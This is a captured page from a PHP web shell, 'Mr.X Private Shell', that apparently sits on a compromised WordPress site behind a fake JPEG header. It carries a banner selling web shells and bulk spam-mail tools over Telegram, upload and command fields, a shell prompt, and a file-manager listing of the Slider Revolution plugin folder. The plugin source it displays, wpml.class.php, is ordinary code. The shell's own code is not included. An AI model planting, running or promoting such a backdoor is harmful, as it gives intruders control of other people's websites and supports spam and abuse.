����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.144: ~ $
<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2024 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();

class RevSliderWpml extends RevSliderFunctions {
	
	private $cur_lang;
	
	/**
	 * load the wpml filters ect.
	 **/
	public function __construct(){
		add_filter('revslider_get_posts_by_category', array($this, 'translate_category_lang'), 10, 2);
		add_filter('revslider_get_parent_slides_pre', array($this, 'change_lang'), 10, 4);
		add_filter('revslider_get_parent_slides_post', array($this, 'change_lang_to_orig'), 10, 4);
		add_action('revslider_js_add_header_scripts_js', array($this, 'add_current_language_v7'), 10, 1);
		
		add_action('revslider_header_content', array($this, 'add_javascript_language'));
	}
	
	
	/**
	 * true / false if the wpml plugin exists
	 */
	public function wpml_exists(){
		return did_action('wpml_loaded');
	}
	
	
	/**
	 * valdiate that wpml exists
	 */
	public function validateWpmlExists(){
		if(!$this->wpml_exists()) $this->throw_error(__('The WPML plugin is not activated', 'revslider'));
	}
	
	
	/**
	 * get languages array
	 */
	public function getArrLanguages($get_all = true){
		$this->validateWpmlExists();
		
		$langs		= apply_filters('wpml_active_languages', array());
		$response	= array();
		
		if($get_all == true) $response['all'] = __('All Languages', 'revslider');
		
		foreach($langs ?? [] as $code => $lang){
			$name			 = $lang['native_name'];
			$response[$code] = $name;
		}
		
		return $response;
	}
	
	
	/**
	 * get assoc array of lang codes
	 */
	public function getArrLangCodes($get_all = true){
		$codes = array();
		
		if($get_all == true) $codes['all'] = 'all';
		
		$this->validateWpmlExists();
		$langs = apply_filters('wpml_active_languages', array());
		
		foreach($langs ?? [] as $code => $arr){
			$codes[$code] = $code;
		}
		
		return $codes;
	}
	
	
	/**
	 * check if all languages exists in the given langs array
	 */
	public function isAllLangsInArray($codes){
		$all_codes	= $this->getArrLangCodes();
		$diff		= array_diff($all_codes, $codes);
		return empty($diff);
	}
	
	
	/**
	 * get flag url
	 */
	public function getFlagUrl($code){
		
		$this->validateWpmlExists();
		
		$path = (defined('ICL_PLUGIN_URL')) ? ICL_PLUGIN_URL . '/res/img/icon16.png' : RS_PLUGIN_URL_CLEAN . 'admin/assets/images/icon16.png';

		if(empty($code) || $code == 'all'){
            $url = $path;
        }else{
            $active_languages = apply_filters('wpml_active_languages', array());
            $url = isset($active_languages[$code]['country_flag_url']) ? $active_languages[$code]['country_flag_url'] : null;
        }
		
		//default: show all
		return (!empty($url)) ? $url : $path;
	}
	
	
	/**
	 * get language title by code
	 */
	public function getLangTitle($code){
		if($code == 'all') return(__('All Languages', 'revslider'));

		$def = apply_filters('wpml_default_language', null);
		return apply_filters('wpml_translated_language_name', '', $code, $def);
	}
	
	
	/**
	 * get current language
	 */
	public function getCurrentLang(){
		$this->validateWpmlExists();
		
		return (is_admin()) ? apply_filters('wpml_default_language', null) : apply_filters('wpml_current_language', null);
	}
	
	
	/**
	 * was before in RevSliderFunctions::get_posts_by_category();
	 **/
	public function translate_category_lang($data, $type){
		$cat_id = $this->get_val($data, 'cat_id');
		$cat_id	= (strpos($cat_id, ',') !== false) ? explode(',', $cat_id) : array($cat_id);
		
		if(!$this->wpml_exists()) return $data; 
		//translate categories to languages
		$newcat = array();
		foreach($cat_id ?? [] as $id){
			$newcat[] = apply_filters('wpml_object_id', $id, 'category', true);
		}
		$data['cat_id'] = implode(',', $newcat);
		
		return $data;
	}
	
	
	/**
	 * switch the language if WPML is used in Slider
	 **/
	public function change_lang($lang, $published, $gal_ids, $slider){
		$use = ($slider->v7) ? $slider->get_param('wpml', false) : $slider->get_param(array('general', 'useWPML'), false);
		if(!$this->wpml_exists() || $use !== true) return;

		$this->cur_lang = apply_filters('wpml_current_language', null);
		do_action('wpml_switch_language', $lang);
	}
	
	
	/**
	 * switch the language back to original, if WPML is used in Slider
	 **/
	public function change_lang_to_orig($lang, $published, $gal_ids, $slider){
		$use = ($slider->v7) ? $slider->get_param('wpml', false) : $slider->get_param(array('general', 'useWPML'), false);
		if(!$this->wpml_exists() || $use !== true) return;

		do_action('wpml_switch_language', $this->cur_lang); //switch language back
	}
	
	
	/**
	 * modify slider language
	 */
	public function get_language(){
		return ($this->wpml_exists()) ? ICL_LANGUAGE_CODE : 'all';
	}
	
	
	public function get_slider_language($slider){
		$use_wpml = ($slider->v7) ? $slider->get_param('wpml', false) : $slider->get_param(array('general', 'useWPML'), false);

		return ($use_wpml) ? $this->get_language() : 'all';
	}
	
	/**
	 * add languages as javascript object to the RevSlider BackEnd Header
	 **/
	public function add_javascript_language($rsad){
		if(!$this->wpml_exists()) return '';
		
		$langs = $this->getArrLanguages();
		
		$use_langs = array();
		foreach($langs ?? [] as $code => $lang){
			$use_langs[$code] = array(
				'title' => $lang,
				'image'	=> $this->getFlagUrl($code)
			);
		}
		echo '<script>';
		echo 'var RS_WPML_LANGS = JSON.parse(\''.json_encode($use_langs).'\');';
		echo '</script>';
	}
	
	/**
	 * add languages as javascript object to the RevSlider frontend
	 **/
	public function add_current_language_v7($script){
		if(!$this->wpml_exists()) return $script;
		
		$lang = $this->get_language();
		if($lang === 'all') return $script;

		$script .= "	SR7.E.wpml			??= {};"."\n";
		$script .= "	SR7.E.wpml.lang		= '".esc_attr($lang)."';"."\n";

		return $script;
	}
}

/**
 * old classname extends new one (old classnames will be obsolete soon)
 * @since: 5.0
 **/
class UniteWpmlRev extends RevSliderWpml {}

Filemanager

Name Type Size Permission Actions
external Folder 0755
api.class.php File 74.21 KB 0777
aq-resizer.class.php File 7.77 KB 0777
backwards.php File 1.44 KB 0777
basic-css.php File 11.57 KB 0777
cache.class.php File 5.93 KB 0777
coloreasing.class.php File 6.4 KB 0777
colorpicker.class.php File 15.29 KB 0777
cssparser.class.php File 24.9 KB 0777
data.class.php File 76.43 KB 0777
em-integration.class.php File 6.7 KB 0777
extension.class.php File 7.56 KB 0777
favorite.class.php File 1.24 KB 0777
functions.class.php File 85.64 KB 0777
globals.class.php File 2.49 KB 0777
googlefonts.php File 244.63 KB 0777
index.php File 27 B 0777
jetpack.class.php File 1.66 KB 0777
navigation.class.php File 19.19 KB 0777
navigations.php File 118.17 KB 0777
object-library.class.php File 52.29 KB 0777
output.sr6.class.php File 321.47 KB 0777
output.sr7.class.php File 90.2 KB 0777
page-template.class.php File 3.73 KB 0777
slide.class.php File 117.41 KB 0777
slider.class.php File 122.87 KB 0777
update.class.php File 7.53 KB 0777
woocommerce.class.php File 11.6 KB 0777
wpml.class.php File 5.84 KB 0777